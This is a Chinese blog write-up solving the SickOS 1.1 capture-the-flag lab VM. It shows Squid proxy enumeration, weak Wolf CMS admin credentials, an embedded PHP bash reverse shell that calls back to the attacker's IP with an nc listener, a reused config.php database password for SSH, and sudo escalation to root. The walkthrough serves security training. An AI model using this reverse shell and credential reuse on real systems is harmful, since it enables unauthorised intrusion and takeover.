Sickos1.1 詳細靶機思路 實操筆記

Sol_9發表於2024-11-23

Sickos1.1 詳細靶機思路 實操筆記

免責宣告

本部落格提供的所有資訊僅供學習和研究目的,旨在提高讀者的網路安全意識和技術能力。請在合法合規的前提下使用本文中提供的任何技術、方法或工具。如果您選擇使用本部落格中的任何資訊進行非法活動,您將獨自承擔全部法律責任。本部落格明確表示不支援、不鼓勵也不參與任何形式的非法活動。

前言

這臺靶機比較簡單,有一定經驗的師傅們建議可以直接盲打,如果遇到走不通的話再看網上的各種分享,主要可能想不到的點在squid代理服務,透過查詢相關資料能得知我們透過配置代理就能突破這個點

下載靶機
靶機連結SickOs: 1.1 ~ VulnHub下來後匯入到vmware裡面

右鍵vm靶機欄 開啟靶機的.ovf檔案

Nmap資訊收集

主機發現:

sudo nmap -sn 192.168.236.128/24

開啟靶機後能找到133這臺機器,就是我們要打的靶機

TCP掃描

sudo nmap -sT --min-rate 10000 -p- -oA sickok_ports 192.168.236.133

拿到了這三個埠22,3128,8080 對應的埠分別為ssh squid-http http-proxy

詳細埠掃描

nmap -sT --min-rate 10000 -p 22,3128,8080 -O -sV -sC -oA sickos_detail 192.168.236.133

給出了更詳細的資訊,如服務版本號,主機型號等

nmap預設漏洞指令碼掃描

nmap --script=vuln -oA sickos_script p22,8080,3128 192.168.236.133

沒有什麼發現,nmap沒有給出利用路徑

web滲透

攻擊面分析

我們知道了3128開放的是一個squid代理服務,版本為3.1.19,如下直接訪問沒有給什麼東西

8080埠關閉,是一個http-proxy 可能是什麼代理之類的服務,直接去訪問是拒絕連線

22埠ssh遠端連線我們可以嘗試去空密碼連線,但可能性不大,如果在我們去尋找憑據實在走不下去了可以去嘗試一下

squid代理

先去搜尋一下squid服務

Squid代理伺服器
Squid主要提供快取加速、應用層過濾控制、web服務隱藏真實IP(安全性)的功能。
1、代理的工作機制
代替客戶機向網站請求資料,從而可以隱藏使用者的真實IP地址。
將獲得的網頁資料(靜態 Web 元素)儲存到快取中併傳送給客戶機,以便下次請求相同的資料時快速響應。
2、代理的型別
傳統代理:

適用於Internet,需在客戶機指定代理伺服器的地址和埠。
透明代理:

客戶機不需指定代理伺服器的地址和埠,而是透過預設路由、防火牆策略將Web訪問重定向給代理伺服器處理。
反向代理:

如果 Squid 反向代理伺服器中快取了該請求的資源,則將該請求的資源直接返回給客戶端;否則反向代理伺服器將向後臺的 WEB 伺服器請求資源,然後將請求的應答返回給客戶端,同時也將該應答快取(靜態)在本地,供下一個請求者使用。

靶機的squid跑在3128埠上,應該指定的代理伺服器埠就為3128,在瀏覽器上設定一下proxy

設定好後發現直接訪問靶機ip可以通,給了一個BLEHHH!!! 這是一個俚語

既然可以通那就爆破一下目錄吧

指定一下代理

dirb http://192.168.236.133/ -p http://192.168.236.133:3128/

+ http://192.168.236.133/cgi-bin/ (CODE:403|SIZE:291)                                                                                                     
+ http://192.168.236.133/connect (CODE:200|SIZE:109)                                                                                                      
+ http://192.168.236.133/index (CODE:200|SIZE:21)                                                                                                         
+ http://192.168.236.133/index.php (CODE:200|SIZE:21)                                                                                                     
+ http://192.168.236.133/robots (CODE:200|SIZE:45)                                                                                                        
+ http://192.168.236.133/robots.txt (CODE:200|SIZE:45)                                                                                            
+ http://192.168.236.133/server-status (CODE:403|SIZE:296)  

先訪問最感興趣的index.php

其實就是之前的BLEHHHH!!

其他的目錄掃了一眼,/connect裡面是一個指令碼,沒什麼用大概就是說 你可能想要嘗試(利用)我的服務

/server-status 403forbidden無法訪問

#!/usr/bin/python

print("I Try to connect things very frequently")
print("You may want to try my services")

robots.txt :

給了一個Dissalow:/wolfcms,嘗試一下訪問這個路由,嘗試訪問發現真的有

點了一圈沒有什麼發現,網頁都是一些靜態資源,去網上搜尋一下wolfcms有沒有什麼框架漏洞

Wolf CMS - Arbitrary File Upload / Execution - PHP webapps Exploit

這裡發現一個長得很像登陸介面的url

http://targetsite.com/wolfcms/?/admin/plugin/file_manager/browse/

確實跳轉到了一個登入頁

弱密碼U/P:admin admin進入wolfcms的後臺

反向連線shell

在登入wolfcms後臺之後隨便點點,發現有很多程式碼執行和檔案上傳的位置,比如Home Page裡面就可以填寫php程式碼

在Articles中嵌入

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.236.128/443 0>&1'");?>

來分析一下這個反向連線shell

exec() php的內建函式,用於執行外部程式 基礎語法:exec(command,output,return_var) (命令,儲存命令的輸出,返回狀態碼)

/bin/bash Linux系統中的Bash shell的路徑 /bin/bash是Bash shell的可執行檔案

-c這是Bash的一個選項,表示後面跟著的字串會被當作一個命令來執行

'bash -i >& /dev/tcp/192.168.236.128/443 0>&1'這個字串是傳遞給Bash的命令。我們再進一步解析:

bash -i

bash:啟動一個新的Bash shell。-i:表示以互動模式執行Bash shell。

>&:這是一個重定向運算子,用於將標準輸出(stdout)和標準錯誤(stderr)合併並重定向到指定的目標。

/dev/tcp/192.168.236.128/443:這是一個特殊的檔案描述符,表示透過TCP協議連線到IP地址為 192.168.236.128 的主機,埠為 443

0>&1

0:表示標準輸入(stdin)。

>&1:表示將標準輸入(stdin)重定向到標準輸出(stdout)的檔案描述符。

嵌入,儲存後在kali上開啟監聽

sudo nc -lvnp 443

再去訪問Artical 反彈shell成功

提權

資訊收集

先看一下得到的許可權能幹什麼,有什麼許可權,在這個許可權下能看到的檔案等資訊,這裡我建議最好把整個shell的所有能訪問到的東西都先瀏覽一遍,把他的檔案結構都搞清楚,要知道他有沒有什麼可以訪問的配置檔案config等,/etc/passwd這種重要的目錄也要去嘗試一下有沒有許可權開啟,裡面是否有我們感興趣的內容

whoami

可以看到現在的使用者是www-data

嘗試訪問/etc/passwd 發現root和sickos這兩個賬戶是擁有bash環境的,而我們所在的www-data是沒有的,所以如果我們找到憑據應該優先嚐試這兩個賬戶。

ls -alh

能看到有一個config.php配置檔案 ,得到了一個憑據john@123 這裡還給了一個mysql的使用者名稱,但是這個機器沒開3389,沒有實際意義 ,得到的這個憑據,可以結合上面得到的兩個賬號,嘗試一下ssh連線,如果可以就成功提權了

<?php 

// Database information:
// for SQLite, use sqlite:/tmp/wolf.db (SQLite 3)
// The path can only be absolute path or :memory:
// For more info look at: www.php.net/pdo

// Database settings:
define('DB_DSN', 'mysql:dbname=wolf;host=localhost;port=3306');
define('DB_USER', 'root');
define('DB_PASS', 'john@123');
define('TABLE_PREFIX', '');

// Should Wolf produce PHP error messages for debugging?
define('DEBUG', false);

// Should Wolf check for updates on Wolf itself and the installed plugins?
define('CHECK_UPDATES', true);

// The number of seconds before the check for a new Wolf version times out in case of problems.
define('CHECK_TIMEOUT', 3);

// The full URL of your Wolf CMS install
define('URL_PUBLIC', '/wolfcms/');

// Use httpS for the backend?
// Before enabling this, please make sure you have a working HTTP+SSL installation.
define('USE_HTTPS', false);

// Use HTTP ONLY setting for the Wolf CMS authentication cookie?
// This requests browsers to make the cookie only available through HTTP, so not javascript for example.
// Defaults to false for backwards compatibility.
define('COOKIE_HTTP_ONLY', false);

// The virtual directory name for your Wolf CMS administration section.
define('ADMIN_DIR', 'admin');

// Change this setting to enable mod_rewrite. Set to "true" to remove the "?" in the URL.
// To enable mod_rewrite, you must also change the name of "_.htaccess" in your
// Wolf CMS root directory to ".htaccess"
define('USE_MOD_REWRITE', false);

// Add a suffix to pages (simluating static pages '.html')
define('URL_SUFFIX', '.html');

// Set the timezone of your choice.
// Go here for more information on the available timezones:
// http://php.net/timezones
define('DEFAULT_TIMEZONE', 'Asia/Calcutta');

// Use poormans cron solution instead of real one.
// Only use if cron is truly not available, this works better in terms of timing
// if you have a lot of traffic.
define('USE_POORMANSCRON', false);

// Rough interval in seconds at which poormans cron should trigger.
// No traffic == no poormans cron run.
define('POORMANSCRON_INTERVAL', 3600);

// How long should the browser remember logged in user?
// This relates to Login screen "Remember me for xxx time" checkbox at Backend Login screen
// Default: 1800 (30 minutes)
define ('COOKIE_LIFE', 1800);  // 30 minutes

// Can registered users login to backend using their email address?
// Default: false
define ('ALLOW_LOGIN_WITH_EMAIL', false);

// Should Wolf CMS block login ability on invalid password provided?
// Default: true
define ('DELAY_ON_INVALID_LOGIN', true);

// How long should the login blockade last?
// Default: 30 seconds
define ('DELAY_ONCE_EVERY', 30); // 30 seconds

// First delay starts after Nth failed login attempt
// Default: 3
define ('DELAY_FIRST_AFTER', 3);

// Secure token expiry time (prevents CSRF attacks, etc.)
// If backend user does nothing for this time (eg. click some link) 
// his token will expire with appropriate notification
// Default: 900 (15 minutes)
define ('SECURE_TOKEN_EXPIRY', 900);  // 15 minutes

看到別人的部落格,還找到了這個路徑下的配置檔案

cat /var/www/wolfcms/wolf/plugins/backup_restore/views/settings.php

裡面有一個密碼
但實際好像並沒有什麼用處

ssh

嘗試sickos root john@123 pawpsw123這一組憑據

這一組可以連線

ssh sickos@192.168.236.133

john@123

sudo -l檢視一下拿到的shell的許可權

有sudo許可權,可以執行任何命令(ALL:ALL) 也就是可以用sudo命令提升到root許可權

那就直接切換root使用者

sudo /bin/bash

成功提權,root目錄下有flag

成功通關sickos

相關文章